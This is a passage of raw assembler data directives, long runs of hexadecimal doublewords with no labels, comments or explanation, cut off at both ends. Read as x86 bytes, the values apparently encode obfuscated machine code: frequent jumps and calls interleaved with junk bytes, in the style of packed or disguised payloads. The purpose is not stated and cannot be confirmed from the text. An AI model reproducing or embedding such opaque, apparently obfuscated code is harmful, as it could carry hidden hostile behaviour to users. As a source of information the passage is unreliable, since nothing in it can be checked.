17BF15DFh, 6652595Eh, 11F1E081h, 73B0615Eh, 0BBCBB70Fh dd 4CBF5E50h, 158A0Fh, 10E90000h, 7E000000h, 0A7308903h dd 34DFE812h, 934C9F7h, 60B38C31h, 16830Fh, 11E90000h dd 3B000000h, 0EA2305E9h, 0F2861CF9h, 35E0235Bh, 83FE8D16h dd 0FC59B966h, 66F28B61h, 0E86387BAh, 8, 54B0DEFCh, 0F9E3CDAAh dd 816659FCh, 0BF3C91D9h, 2B22B3E9h, 0B52933BBh, 0DFBF0F79h dd 0DF8B66F8h, 80D38BF8h, 0F98B79E5h, 5820Fh, 32B80000h dd 0E8599D85h, 0Eh, 0D67F7D67h, 512657CDh, 48189567h, 0E96009E6h dd 0Dh, 33935010h, 1A1EFD62h, 0CA0B6CA6h, 0F59614Dh, 8F0FD0BFh dd 3, 0FF38B66h, 883h, 0F7815100h, 73CA7223h, 0B2C28059h dd 63C68166h, 0CAB70F16h, 0DEE88166h, 0FF48AF4h, 381h dd 0DF8B6600h, 8A35F680h, 6BE381C7h, 0F115AA9h, 381h, 0D08B6600h dd 0D3DE8166h, 8E8B2h, 531F0000h, 0A8262CFBh, 9E95ABBh dd 2E000000h, 28379394h, 0BCA79A00h, 0E881FC5Fh, 5E92EEE1h dd 296BF66h, 0DE935B7h, 65000000h, 392856D1h, 0B4908378h dd 0FC5EAE91h, 71BF6652h, 2DB75F23h, 0FE9h, 0AE9BC800h dd 0A68E000h, 716068C6h, 0B0586CADh, 0FE9h, 0F5CE6200h dd 6209174Eh, 56A39BEBh, 9EDFB23Ah, 4860Fh, 0BF660000h dd 8166249Eh, 53C734C6h, 11E85EF5h, 74000000h, 0CA232565h dd 0C5545175h, 53D47DBAh, 0BD1A0F5Eh, 0C318E081h, 8B5A4267h dd 12E8DEh, 0AB300000h, 0F8DE3428h, 6D46C620h, 0D33C4022h dd 0D8F28597h, 2820Fh, 5B560000h, 0FD38B59h, 2088h, 0EE800h dd 0A74F0000h, 50D2791Bh, 0C8BFA025h, 0E328D0D6h, 7E9h dd 34CC2B00h, 93D90A2h, 0FE85Bh, 55900000h, 92C84BF3h dd 64EF0EA2h, 0C8790131h, 0C6B70FC0h, 0C68B665Eh, 6700C381h dd 0B2B11883h, 10E9h, 739BDB00h, 5F44D163h, 0D3BF7162h dd 0D0ACAC28h, 0F38BF9AEh, 66C2BF0Fh, 0D081F28Bh, 1986587Ah dd 0B966C68Bh, 0BB666AF7h, 8B666D93h, 0AE953D7h, 97000000h dd 0FD928577h, 28A0F4Eh, 43B85894h, 6065831Eh, 0B75FBB66h dd 12E961h, 0F43D0000h, 9B258D47h, 0E7C19DD5h, 3994BC32h dd 8F4104Ch, 0D7E680F9h, 6C281FCh, 8B0737FBh, 0DABF0FD0h dd 8E860h, 0EB870000h, 548CC48Eh, 0BE904D6h, 0D5000000h dd 9E3B5BEAh, 0D4BD8B9Eh, 0BB5E2113h, 0BEF7DD5h, 5E961h dd 0D0E0000h, 0F731135h, 687h, 1ACF8100h, 0F46290Ah, 0B8Dh dd 5830F00h, 66000000h, 7289F181h, 0CE8F8h, 8DB70000h dd 0D885A515h, 11222462h, 6060F042h, 9E861h, 0D6E50000h dd 292D26ABh, 596894ADh, 6CBF5E61h, 0E91ACE86h, 9, 0BBD0DFA4h dd 1B9F04E2h, 0F08166F1h, 8B564099h, 0EE95AD3h, 0BC000000h dd 6CD588D5h, 825A1560h, 0B67AF512h, 12E926h, 2A890000h dd 0D736DD1h, 3F244548h, 0B19E241Eh, 7735C364h, 0AE9h dd 0A3D62D00h, 54EDC163h, 51371131h, 4BC98160h, 0F90D9C5Ah dd 8F0F5E61h, 1, 6E9F9h, 0E3100000h, 806DCC12h, 0BC58C181h dd 0F56285Ch, 0E85FCEB7h, 7, 6022CD03h, 0E8B578ABh, 0Bh dd 0A978AFE1h, 1D93FA93h, 0FBFD2AEh, 5E58CEB7h, 10E9h dd 27A6F700h, 26FB7DCBh, 0DB50E87Dh, 0A8461B3Eh, 11BE665Bh dd 68E0FAAh, 0F000000h, 89h, 9E800h, 13700000h, 0BBA32E1Dh dd 0E9766037h, 0Ah, 0EC7D42ECh, 0F3CBC1Ah, 0E95BDAA8h dd 9, 2F16C7A9h, 0DBCAC1B6h, 12E95388h, 0E2000000h, 0B7B45EB6h dd 0DC31B9E0h, 88306410h, 3288BC26h, 80F55BC7h, 830F85C3h dd 1Ch, 14E8h, 0A63A2200h, 52496C0Ch, 721CA512h, 0A00E6D7Ah dd 0A4EAD44Eh, 5A0EB665h, 0B960D38Ah, 27A60B34h, 820FF561h dd 0Ch, 6820Fh, 840F0000h, 0 dd 0E9C3C080h, 0Eh, 8991E91Fh, 77A38A66h, 856DBB21h, 0AE9E1D0h dd 1F000000h, 0AB09475h, 2B84343Eh, 0FAD7803Eh, 14E9h dd 4B4D8D00h, 36CF0412h, 0C7D40112h, 94E8F9Bh, 0E32D105Bh dd 0DE80FC99h, 8B66FC6Bh, 0E9D98BC1h, 0Ah, 68672E19h, 0AA4FC60Bh dd 0BF66BDF6h, 0EE860BCh, 9F000000h, 3DFB2236h, 55036A32h dd 0BF692764h, 5F24B01Bh, 0FFE38160h, 0F31123Bh, 583h dd 0DD77BA00h, 0F6131F6h, 0C85h, 6830F00h, 0F000000h, 8Ch dd 0C7C68000h, 0BFD1BF0Fh, 59AE2B21h, 8AFBB70Fh, 0D68B66F7h dd 82B4C28Bh, 6F7DBA66h, 60CA8B66h, 0FC78166h, 8161F823h dd 74BFDCF2h, 74B96628h, 0FB8B660Fh, 1F880Fh, 14E80000h dd 0BB000000h, 5DDDB6A3h, 48C48A61h, 469EF312h, 8FB456F5h dd 0B97A5041h, 3C037FAAh, 0A0E3805Eh, 8166F38Bh, 0F46F7C8h dd 18Fh, 8A51F800h, 14E95EFAh, 2D000000h, 8E07AEB8h, 0D52F4BE8h dd 0E2CA339h, 936BA091h, 6647E7BCh, 8B6CC5B8h, 98D0FC6h dd 0F000000h, 38Ch, 26E98000h, 0F77D24B9h, 80F18A4Dh, 81505DD2h dd 59B8F2D1h, 8B665939h, 38EF81CEh, 0F1E667Fh, 2081h, 0DE800h dd 9B7A0000h, 77303930h, 72936124h, 0E8F27677h, 7, 2B0FC7Dh dd 59684932h, 0C0BF0F5Ah, 80D3B70Fh, 8166D9D7h, 810123D6h dd 49A8B1DAh, 0FD08B43h, 8Eh, 227BBE00h, 0D78051DCh, 8B0F6095h dd 0 dd 8061D8B0h, 5E920E0h, 6F000000h, 0B615E489h, 0B4C18166h dd 0C0BF6652h, 665760BEh, 0F5ED78Bh, 1580h, 10E900h, 1AD20000h dd 6577F722h, 4B88BB06h, 3C5F7E8Fh, 0B96198C0h, 300A3E3Fh dd 0D78BD48Ah, 0CE9h, 0E6381700h, 0C674F779h, 0FD14BAA2h dd 0E08166D0h, 8A0F7343h, 4, 0E140B866h, 0B63277BEh, 2FF68014h dd 9E9h, 0E7183A00h, 0AF7510D3h, 66F9870Ch, 0F787DF81h dd 0ACB7FE8Bh, 0B3C38B66h, 81A1B3CFh, 72DF35D9h, 0E9C78B3Ch dd 5, 59F85D8Ah, 0CE87Ch, 264C0000h, 0FED267C8h, 9689617Ah dd 8F0FC6FFh, 0 dd 0D281665Ah, 0DF814475h, 6078CFA6h, 11299CBEh, 7E947h dd 809C0000h, 4C526BD1h, 0DE9E3h, 5B410000h, 0DC8896A8h dd 2771FAD9h, 669C64ECh, 0E9C7BEBEh, 13h, 368CBE25h, 5A531001h dd 6574ACD0h, 75CA2325h, 66C55451h, 8FA6C781h, 6C7642BFh dd 0C820F61h, 0F000000h, 68Ch, 810F00h, 80000000h, 3EB9C3C7h dd 0E848E541h, 14h, 205E8AA3h, 790EE4ACh, 4103C8Fh, 4D4FFF55h dd 52BCF085h, 5B9BC280h, 10E9h, 0D6E0AE00h, 7A053678h dd 0FCD1E26h, 211EB213h, 6660511Ch, 685DEA81h, 5A1ACB81h dd 5B611DAEh, 10870Fh, 0BE90000h, 1C000000h, 0F2B1E4F5h dd 8028B76Ch, 9E9DDEDh, 3C000000h, 0D02ADD7h, 61BF4F81h dd 66D2BF0Fh, 3DBEF381h, 8EB1D08Bh, 3AC2BABFh, 0D3BF0F3Ah dd 60D38166h, 13BB6697h, 66D78BE1h, 7B6AC181h, 80F6E680h dd 8BF833C9h, 66C88BD1h, 14E9F18Bh, 0B3000000h, 293DF0ECh dd 9ED0FC1Dh, 0BF5E0385h, 72997FA6h, 0F9C36ED5h, 3A0BEF9h dd 0E781235Fh, 5B105BD6h, 81D78B60h, 0B55FFFCBh, 0F38B6114h dd 668DCE80h, 0BA66D78Bh, 11E93262h, 71000000h, 74D68431h dd 0FA271F17h, 83B9A2BFh, 0B78B4823h, 10E8h, 0E0FD6400h dd 0F1E8A44Fh, 730BE397h, 50FCF53h, 8B5EF8C9h, 0D1E081F1h dd 0F54F157h, 683h, 62CB8100h, 0E96DD8EBh, 7, 5054464Fh dd 0F032B17h, 0A80h, 4870F00h, 66000000h, 81FCF2BBh, 0CFEE94C3h dd 0C68B6607h, 8BD6BF0Fh, 0B5BF66CAh, 5E98Dh, 36B00000h dd 8BB237CDh, 816660C3h, 66190DE7h, 0BF61FB8Bh, 0B2F61CBh dd 11E956FCh, 0E1000000h, 0C7D24675h, 0C270CD39h, 0F91DD4A7h dd 95B9BCEDh, 0FBB70F58h, 8AD68B66h, 0FE9D1h, 6F30000h dd 0AD381A9h, 0BC1FA6DFh, 68BF00F3h, 0F6060B3h, 6661D8B7h dd 61C9FBBFh, 0C15D17BAh, 32F18158h, 0F92A6C9Ah, 28F0Fh dd 0D18B0000h, 0DC8AD68Bh, 0BB66D38Bh, 0C8801721h, 0EE967h dd 0DC60000h, 2D44AFFDh, 0C2AF0B4Fh, 0FA7384BCh, 6E9h dd 533F4F00h, 0E9904B9Bh, 14h, 49A6F1E9h, 553F41C4h, 495006B8h dd 0B889FBDEh, 0DEE47CCAh, 6E9E68Ah, 88000000h, 0F7434571h dd 8E88Eh, 0A0610000h, 975C901Bh, 5FF570A4h, 800F38B4h dd 0 dd 3B7E89BEh, 0E8805270h, 10E95E6Bh, 91000000h, 0BB62790Bh dd 0EC987754h, 28E3C667h, 51DEA71Ch, 2870Fh, 5E530000h dd 2FE2805Eh, 0B3735CB9h, 49FCB83Ah, 800F78ECh, 3, 0F8C38B66h dd 0AE9h, 96EFB00h, 4FC1B5BBh, 0B8F299FFh, 0CD46AAFh, 13E9h dd 0C6ACDA00h, 5D3937AAh, 714B465h, 0C0B12204h, 7B9DB7C7h dd 8041C480h, 61B474C7h, 5E9h, 0AD1E8600h, 830F0CC3h, 1Ah dd 14800Fh, 0FE90000h, 0B000000h, 87BEEE18h, 1E5F50CCh dd 88631CC4h, 5E8D463h, 80000000h, 0A50460F5h, 665B5B57h dd 0E8B2CFB8h, 12h, 0E7135270h, 0A6C600A4h, 8E0B9040h dd 25C7CE24h, 5E9F34Dh, 9F000000h, 7E340857h, 0FEBF0F58h dd 0FD8B70Fh, 380h, 0F6BF0F00h, 0E8F5FA8Bh, 0Fh, 826F7347h dd 348DC415h, 36D7FF2Dh, 576BBEEAh, 8E9h, 0A093EF00h, 2298ED1Dh dd 0E85A5F7Dh, 12h, 0FBEDBE14h, 7C4AB636h, 2F93EC64h, 3764654Dh dd 0EBE6943h, 5B286FABh, 13E8h, 32227700h, 34B5E429h, 198CD795h dd 0DB3B86C7h, 601D4FBh, 0E6333ABEh, 880F5867h, 2, 6E9DE8Bh dd 0D1000000h, 0B3A39FAh, 0F2BF0F68h, 0F9C18B66h, 0A901F181h dd 0D7812680h, 5521D66h, 2344C781h, 84BE5B1Ch, 0B8316683h dd 56B6776Ah, 5FF68166h, 24F48060h, 0E9F18B66h, 5, 7D81ABE7h dd 0E4806069h, 3BBF6654h, 0CB8B6101h, 1536D681h, 81661228h dd 5614CDCAh, 5F62DD80h, 0DEB1D78Bh, 0E9DFB70Fh, 0Ch, 149489BFh dd 0AE981927h, 8FAEF0A7h, 0EE8h, 72568B00h, 6B162BDCh dd 526033F9h, 80D52663h, 0BB59BEC6h, 6BB046ACh, 50C7BF0Fh dd 14E85AF5h, 0DD000000h, 9AC5744Ch, 5E68C42Ah, 880AA2B6h dd 15870D80h, 0FEDF377h, 0E95ED2BFh, 0Bh, 0D92F9F38h, 40FF405Bh dd 0F5C1933h, 1589h, 10E900h, 2EE80000h, 0DAAFB380h, 637247A3h dd 699B9906h, 0E9F598EBh, 0Ah, 0C59C4DC4h, 8161C232h, 8166E85Bh dd 8A64AEEEh, 0B6C281D8h, 511DBA3Ch, 28C0Fh, 0CA8B0000h dd 0C8B70F58h, 0FE85F50h, 0C000000h, 0F7DBE790h, 0C3AB99B6h dd 2150EEB2h, 8E0F249Eh, 5, 15E88166h, 0D5805F97h, 7BEA80F8h dd 4840Fh, 0BF660000h, 13E81BE5h, 7B000000h, 5E97867Bh dd 16396EABh, 4C049919h, 0D2E2F1EDh, 5AF97C2Bh, 0F53ED80h dd 489h, 0D5BE6600h, 6681B422h, 8B0FCA8Bh, 18h, 13E9h dd 1E8300h, 0DA761F0h, 374063D4h, 0A58143CFh, 4ADD949h dd 0E91ED580h, 6, 5C901BA0h, 0BA66A497h, 0E852B6B8h, 0Fh dd 706786CBh, 0D2B5D2BCh, 47EFE794h, 0F0F5B5Eh, 85h, 0BA5A5F00h dd 125429BFh, 69D88166h, 5800FF5h, 66000000h, 633CDA81h dd 0F28B6051h, 5F615EB7h, 0DBBB8B6h, 66702BB5h, 81B5DDBBh dd 41DD92C0h, 0D88AF546h, 4103BA66h, 14E9h, 4309000h, 0E1D66B75h dd 595F011Fh, 4D80C8B9h, 0B57EC520h, 66FE8B96h, 0B872B2BFh dd 36A3818Eh, 5AF18B50h, 66ACD580h, 39D6C081h, 27FFC381h dd 0D1814FE3h, 26B23597h, 2285B966h, 60D8BF0Fh, 0ED8060F5h dd 10E8ACh, 45E90000h, 8E3C2D0Bh, 3E9A7157h, 0FDCC8244h dd 615BBB58h, 0C7B5BF61h, 0F6024B7h, 488h, 8DB86600h, 10E961C0h dd 0BE000000h, 3972F59Ah, 0FED82102h, 6B708C20h, 0E9F6F2C3h dd 7, 2D9F0681h, 0FC62E548h, 920A14BBh, 0ECE38144h, 0E851B635h dd 5, 46A6A4FDh, 0D9B70F4Dh, 870F59h, 0E8000000h, 0Eh dd 3AE6EBBFh, 0F3355722h, 9666EDABh, 0D081898Eh, 60554FF7h dd 0D68B6659h, 80C28B66h, 0F5073E7h, 28Ch, 5FF08B00h, 0B270BFF5h dd 6CBE6167h, 603A254Fh, 0F78B66F9h, 0DFB1F561h, 53D78B66h dd 11E8h, 980DC300h, 0AD49F142h, 47248D34h, 0ED1A9F7Dh dd 0EE84A9Fh, 9F000000h, 5EE0A6E6h, 0E05277BEh, 0A575664Ah dd 58595E25h, 820FCA8Bh, 15h, 10E9h, 0DABCB800h, 5F9C3FB2h dd 0EA97F28Ah, 5B85A605h, 19830F6Ch, 0E9000000h, 14h, 0C2D4A6D2h dd 0CC8A7923h, 0FE0F62C5h, 0C2D223ADh, 2DEF8D41h, 4890Fh dd 50520000h, 13E95858h, 7B000000h, 0C81E3BDBh, 0AD6AFC4Fh dd 0B35EAF97h, 931E142Dh, 0BF0F32E1h, 0D7B70FF1h, 3840Fh dd 8B660000h, 8B6660FAh, 28F0FCEh, 0B3000000h, 0A2B66187h dd 0E8C7BF0Fh, 0Bh, 801FE1Bh, 9AAACB8Eh, 5B4E4BB9h, 0CE9h dd 8361F400h, 9CACB84Bh, 6DB2103Ah, 0F9AABE16h, 13E90407h dd 0F2000000h, 0FC50B333h, 8D709E15h, 0D089628h, 3F2AF7FFh dd 5257EFC4h, 8E9h, 72452600h, 19BDEEE9h, 0F85A59F6h, 8A0FD98Bh dd 5, 4B14A8BBh, 128F0F35h, 0E9000000h, 0Dh, 0F74C069Ch dd 0F133A71h, 0D1555E79h, 0C78166E6h, 0EE8A5480h, 0B6B4D281h dd 0CE8B7DC7h, 28D0Fh, 12B60000h, 0FABF0F60h, 6661D48Ah dd 1B4BF181h, 91F5E381h, 0D08B3615h, 0E902F080h, 0Fh, 0EE1F0848h dd 0D7B8ECDBh, 47783D39h, 0F9FEA71h, 8B66DBBFh, 8850FD0h dd 0F000000h, 282h, 506CB300h, 880F5EF9h, 3, 8BD08B66h dd 1EA81D6h, 800468D0h, 0EBB799E2h, 26E38160h, 660A09D5h dd 6139DFBBh, 0DE9h, 702DF700h, 49E80C62h, 0FA26DC6h, 0D781E73Eh dd 67EEA4F0h, 7E9h, 0DE2EDE00h, 6C2DFBB2h, 6E9AE181h, 0BF66344Bh dd 8B66F7C5h, 0A5DF80C8h, 3712BE66h, 6E9h, 34AD4900h, 8A47248Dh dd 0FEB70FD9h, 5850Fh, 81660000h, 0F5A1D0E2h, 0EFC78060h dd 880F60h, 0F000000h, 82h, 0F616100h, 8Ch, 840F6000h dd 5, 0C85E29B8h, 6160534Fh, 0EA80615Bh, 0DE921h, 39E10000h dd 0B08280D7h, 0B282BA68h, 8A3107F7h, 2DB9F8E3h, 605EE91Eh dd 6E9h, 0BB85C600h, 66F9C441h, 61E7DABEh, 0CE8h, 0CCAEAF00h dd 6472CE29h, 8E1C98Ah, 58DE8BEEh, 1EE6F781h, 6660490Fh dd 71ACCB81h, 17A11BBBh, 8160610Eh, 0C3EBA1C3h, 0BFBE5629h dd 583D2A8Ah, 0B8A0F61h, 0E9000000h, 6, 4AC833C1h, 5756605Eh dd 60D4BA66h, 0E4805F5Bh, 38DE8036h, 0EE9h, 11F4F700h dd 64C8FDBCh, 230FE68h, 813677B2h, 52D528F7h, 0E9DF8B3Dh dd 0Ch, 0E6CE558Dh, 648B8A7h, 0B8502F60h, 81D78BF9h, 124A71DEh dd 13E80Fh, 76A0000h, 54577B0Ah, 187898F3h, 96095395h dd 371A097Fh, 6E829h, 0B8560000h, 1F092A91h, 5A4AEC80h dd 0F8BF0F59h, 13E9h, 3CEF5600h, 861D3B70h, 0FDC04751h dd 4D46A6A4h, 0C6AD516h, 0FE9A6B5h, 78000000h, 0F04E443Ah dd 17454D8Fh, 9B2993C6h, 65B3BFD9h, 0AEFD081h, 0D181511Eh dd 2150157Fh, 870F5250h, 0 dd 8C0F5A58h, 2, 0E860DF8Bh, 7, 5169B1DDh, 66AA53E0h, 16C7F081h dd 0B966615Eh, 0F6000A3h, 382h, 0F08B6600h, 4F0B06B8h dd 8F0F611Dh, 5, 0D7B70F56h, 10E95Ah, 62510000h, 1E37D923h dd 0FF8A4AACh, 5D08C6AAh, 81661D7Eh, 66C355C6h, 7BBC281h dd 0FF1B70Fh, 889h, 8B666000h, 0C3B70FD3h, 84B96661h, 0CFBF0F41h dd 10E953h, 63200000h, 0F5A719ACh, 628587FDh, 6C35964Fh dd 0E95AE8C0h, 0Ch, 601D8558h, 0AE83AE9Ch, 0BBD29258h dd 0F7D98166h, 0FF9FCB8h, 584h, 0EF816600h, 0BF661B64h dd 13BF6157h, 0F505E359h, 0A3F68166h, 94B96692h, 0D88B66CBh dd 5E9h, 0DEA50400h, 0B70F5EFFh, 0DBBF0FFBh, 5BEAB756h dd 0E6816656h, 0E85E6EADh, 9, 44FACA86h, 0E090CF8Eh, 0C7BF0F98h dd 14E95Bh, 57730000h, 69634BBCh, 0FE41F5E3h, 86D014EFh dd 0F4EE2E6Eh, 6CBB7E3Eh, 807C5FF0h, 816671EAh, 0E977ADC8h dd 6, 29782F58h, 10E81842h, 0D6000000h, 31263751h, 7DDBE553h dd 8374E24Bh, 56A5B9ACh, 0AE8h, 93AA9A00h, 908B2CDh, 5B930F4Dh dd 0F08B5858h, 3880BF66h, 0BBA0DA80h, 4656A3C9h, 66A2E180h dd 0E86197BAh, 9, 7C052862h, 0FF35BB89h, 3830F6Fh, 66000000h dd 665ED08Bh, 53C982BEh, 8E85Eh, 4DF40000h, 0DE68444Ch dd 0B1605CC4h, 0C88B6614h, 57B05F61h, 66F9BF0Fh, 57B8CE8Bh dd 525525B4h, 48F0Fh, 0B8660000h, 815B0CA5h, 0D20243CBh dd 0D78B665Ah, 0B86645B3h, 800F6BFAh, 3, 0FD0BF0Fh, 0B70FFEBFh dd 0F88B66D3h, 0B9D38166h, 81666042h, 0F3033E2h, 5061F1BFh dd 0F959C18Bh, 870F14B3h, 2, 0F601FB2h, 8Eh, 0F88B6600h dd 9D38161h, 0E856E237h, 0Bh, 9E634A77h, 0E8F1D336h, 0E92629B4h dd 8, 79B0F9D6h, 0C112F6C9h, 0EB81665Eh, 66533B8Ch, 806AD981h dd 0FCB46058h, 188C0Fh, 12E80000h, 0FC000000h, 3B5ADF0h dd 1909CC8Eh, 6B043E5Ah, 37227A7h, 0F9615B1Dh, 10E9A9B3h dd 96000000h, 51FC2CD9h, 25624BFDh, 0B029467Ah, 5325CFC9h dd 0EE8h, 0A5746C00h, 10336CEh, 40BF685Bh, 582144F3h, 32E1815Ah dd 665282DEh, 0B425CB81h, 0F0816651h, 8A5AEFDCh, 7BBE66EAh dd 0FD68B8Ch, 81h, 0D6815000h, 77EA26ACh, 0FAED805Bh, 57C1BF0Fh dd 3778B85Eh, 9CB36D57h, 75EA8166h, 21EE810Bh, 0E909F4A4h dd 0Bh, 5F59ED84h, 0E15D5DA1h, 0E9AFE7D4h, 11h, 0D6047B61h dd 0DEE026F4h, 3E1EF9CCh, 0C6FE86E0h, 7E904h, 0D22F0000h dd 37DB2776h, 850F5300h, 2, 605AD98Bh, 73EA80FCh, 0B72FBA61h dd 0BF602123h, 234FFF55h, 6699B561h, 51915AB8h, 5F89B456h dd 8B66F959h, 0CE8166F7h, 0EE92A46h, 2A000000h, 0E009A541h dd 9281069Bh, 0DC943161h, 13E9A5h, 0D5C20000h, 925A457Eh dd 23C56F2Ch, 92B9B32Ah, 948E189h, 8060608Dh, 8A0F3DE7h dd 0 dd 0F18B6661h, 0FE861h, 42A0000h, 0FC04C927h, 791A93C9h dd 9965E033h, 58AEB4B8h, 0AE9h, 886AC900h, 4C995160h, 0FE8AB70h dd 286h, 60F18B00h, 81D38B66h, 364A92D0h, 66F56141h, 0BF0FC38Bh dd 0CB8B66F2h, 11E9h, 4DEEF900h, 4EA3132Eh, 0D88652D5h dd 9F5D9B2Dh, 8B0FB13Ah, 1, 0F28166F9h, 7E9410Bh, 3E000000h dd 7FD12C9Ch, 5F5793DAh, 9AD38166h, 3DEA805Ch, 5E9FCh dd 6EF0000h, 8136E26Dh, 0ABBE2BE0h, 0DFBF0F76h, 58B0Fh dd 81660000h, 0BE72D4EFh, 58D8E8ABh, 0FE8h, 87CF3B00h dd 686647h, 25843EDAh, 0F23F282Ch, 6E9h, 634EC900h, 5911B302h dd 8B2BF780h, 13E960C1h, 41000000h, 42419191h, 0F78E9C40h dd 0FAA31F73h, 0F8712503h, 0BA66ACFDh, 0FC6152EEh, 0E8E641B9h dd 198F0F79h, 60000000h, 0CE9h, 0DFE81200h, 34C9F734h dd 0B38C3109h, 8C0F7Bh, 61000000h, 59C28B50h, 0E9CF8B66h dd 0Bh, 0DE4F3A05h, 0E5734561h, 0E899303Bh, 11h, 0C72C8AD9h dd 81CFBE3h, 5B1BF9C3h, 82DCBB2Ah, 58C78B74h, 5E576060h dd 0CE8061F5h, 84B06144h, 0C281F48Ah, 20C77717h, 0DC9ABF60h dd 8B533EDEh, 60615AC1h, 0FE9h, 0C9678500h, 92FC9744h dd 7BBD70EEh, 596E0BB0h, 8B0FF960h, 0 dd 8B666161h, 0D0D0BAC2h, 8A0F213Ah, 5, 85CB74BEh, 6653B544h dd 0F7C90BAh, 84h, 0BE900h, 0D2450000h, 18DC3984h, 25B494E9h dd 13E9DCh, 16430000h, 494A65B3h, 67AE5D0h, 70AB3802h dd 9E2BA430h, 89B8568Eh, 5E00837Ch, 0AFC98166h, 0E6BA66B2h dd 0BBE60B6h, 0B125C7CEh, 0DE861A8h, 73000000h, 0F1A4C69Eh dd 8144D31Bh, 58EBA920h, 0A291EB81h, 815E6F82h, 63F680DEh dd 2890F38h, 0B6000000h, 66E58AA0h, 0F9F5F78Bh, 8E8h, 63526000h dd 45FAD526h, 0AE91Eh, 0ECE10000h, 110B099Eh, 0F1949409h dd 0FFBF0F5Eh, 0CE9h, 0B4296200h, 0B952A6F8h, 5D62D3h dd 0DE05BEF9h, 10E9196Ch, 8000000h, 6B29C3B8h, 0D1E7368Ah dd 0FE7BD3E0h, 0E9406561h, 11h, 0BCF13FBDh, 0F875DBDDh dd 2EE38C81h, 2B1E5C49h, 0F3816698h, 0F58A20A7h, 0E9FFE680h dd 5, 8AA2361Fh, 0BF6660C7h, 12E89F89h, 7C000000h, 0DDCAFB61h dd 0F6B71A89h, 0E36A92C0h, 199199ACh, 0C1BF0F52h, 8B666158h dd 8B6660D9h, 61CB8BD9h, 18B96660h, 6164B567h, 58A0Fh dd 26BE0000h, 6008AA5Fh, 0FD7B70Fh, 8Fh, 8B666100h, 14E9C8h dd 8D30000h, 3AD078A0h, 0D7163F6Ch, 0C72EB997h, 6EAD0BC5h dd 8B66CACBh, 8166F8F2h, 81BFD0E2h, 0F235ACE9h, 4962B85Fh dd 8A0F3DFFh, 5, 5B50F860h, 66C88B61h, 6660C78Bh, 0EE9D08Bh dd 33000000h, 8E637AF0h, 4685336Ch, 0C03821E2h, 8B6661C4h dd 84BF66F9h, 0E99AB94Ch, 8B666AD7h, 13E9D3h, 0CEA00000h dd 0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 9E902h dd 0DA0C0000h, 28413722h, 53D15AFAh, 8B58DE8Bh, 0C8BF0FF2h dd 7E9h, 524A6400h, 0F0FC3D55h, 0FE9h, 8D2CF800h, 0EAC323ACh dd 62DC519h, 0BC65D5B3h, 68D0Fh, 0DE810000h, 19511577h dd 13840Fh, 0EE90000h, 48000000h, 96A85B41h, 0FAD9DC88h dd 64EC2771h, 98CF809Ch, 0BE66CB8Bh, 11E90374h, 0A9000000h dd 1139832Fh, 47D1648Fh, 5F4A2B40h, 0DB7AF828h, 0B866C5B2h dd 11E995DEh, 8D000000h, 0ECC46E3Ch, 5D13B0F3h, 0DA0D2587h dd 0B2EFACF9h, 148F0Fh, 0FE90000h, 0EA000000h, 0B1084A1Ah dd 0E747BEAEh, 5C5462A8h, 8D0F9EBBh, 0 dd 0BE8h, 7E623A00h, 9F5F17B4h, 0BE5DC8CCh, 8DC88160h dd 0FC3E7A36h, 2B75F61h, 9D51DF81h, 0C5B75CFAh, 0CA8B6660h dd 6840Fh, 890F0000h, 0 dd 8B0F5361h, 4, 0F902B966h, 0CBBA6658h, 6650B695h, 10EFD981h dd 10E8h, 8A1AAA00h, 9123DA2Fh, 76575DE3h, 0F458B092h dd 8B0F70h, 5A000000h, 271FE181h, 12E8525Bh, 0C5000000h dd 0AEFF6E19h, 6E7555Ch, 6F37E015h, 56A1F6E6h, 0F7815BB8h dd 38AB8E67h, 4840Fh, 0BA660000h, 0BF0F045Ch, 870F53F6h dd 2, 0FC5BF98Bh, 38C0Fh, 0B70F0000h, 0D9DA80FBh, 816658B2h dd 0B4873DD3h, 0DE918h, 0A3170000h, 396DE772h, 887CCE4Bh dd 57626E72h, 1DB0B966h, 0FBC1815Fh, 8B2B78AEh, 92DA81C7h dd 8B46A363h, 0C88B66DAh, 3800Fh, 0B70F0000h, 6E9F7h, 41150000h dd 929CC49Eh, 11E8h, 3F230800h, 9EBC5CC7h, 0C6B7EA59h dd 92B15B3h, 5AF5B93Eh, 44DB8166h, 0CF8166F1h, 810F4121h dd 9, 3860Fh, 0CC800000h, 6860F9Eh, 81000000h, 2092B4EAh dd 0A1CF8041h, 5810Fh, 2DBF0000h, 664F3CF1h, 0AE9DE8Bh dd 34000000h, 3E4396E5h, 0A8573F33h, 7DB96672h, 0F08B669Eh dd 0E9DA8B66h, 12h, 0A1AEEA46h, 0EF7C3DEh, 0A1B9702Ah dd 0C9222CF7h, 0BA60D549h, 5854A753h, 919425BEh, 810F6148h dd 1Dh, 13E8h, 1D987E00h, 1B998695h, 49E75E3Bh, 865CD10Bh dd 9D3E0532h, 0A913BB66h, 0C6B1605Eh, 5A0FBE66h, 9E85661h dd 0E3000000h, 19897A56h, 8B6E6DDAh, 5F5AFE8Ah, 6E9h, 88621400h dd 0FCD0B5E8h, 0EE9h, 7023AB00h, 38E267D8h, 62E760Bh, 80AD707Eh dd 0BF0FF3EAh, 6E9D2h, 56840000h, 316A98A5h, 38D0Fh, 0DB800000h dd 7E9F0h, 171D0000h, 0A28C0A0Eh, 13E8B8h, 0B61A0000h dd 0DA5E6486h, 37AAC6ACh, 0B4655D39h, 22040714h, 5FDF8BB1h dd 11E9h, 18D64000h, 8D2F53D3h, 1972FFDh, 866BC567h, 8F0F1607h dd 5, 0AC78166h, 0DBB70F6Eh, 6E9h, 0DC347600h, 806972C5h dd 0EE80BBC1h, 13E95Fh, 4A810000h, 359783CDh, 0E63F7C33h dd 2F28BCC6h, 0A07C26C8h, 0A9BB66ACh, 188C0F2Bh, 0E8000000h dd 12h, 22732C56h, 53849C16h, 0A573854Eh, 9FBE3693h, 66591855h dd 60D8D2BFh, 0F52A0B1h, 615EF0BFh, 5BD9CB81h, 0B70F3E9Ah dd 860FCBh, 66000000h, 8B15EAB8h, 3820FD7h, 0F000000h dd 8B66F0BFh, 14E9FEh, 26E60000h, 0BA84E532h, 0E3296BE6h dd 60F61735h, 9FA87A3Fh, 0CA8B0C9Fh, 9E9h, 7E4E2A00h, 4822E508h dd 8BF86C30h, 0C7B70FCBh, 6E9h, 57156700h, 51E1577Eh, 1FC2F7BEh dd 0EA805868h, 8B0F607Eh, 3, 0FD1B70Fh, 583h, 9B33BB00h dd 0B46122EFh, 0DE914h, 3E1F0000h, 99AED277h, 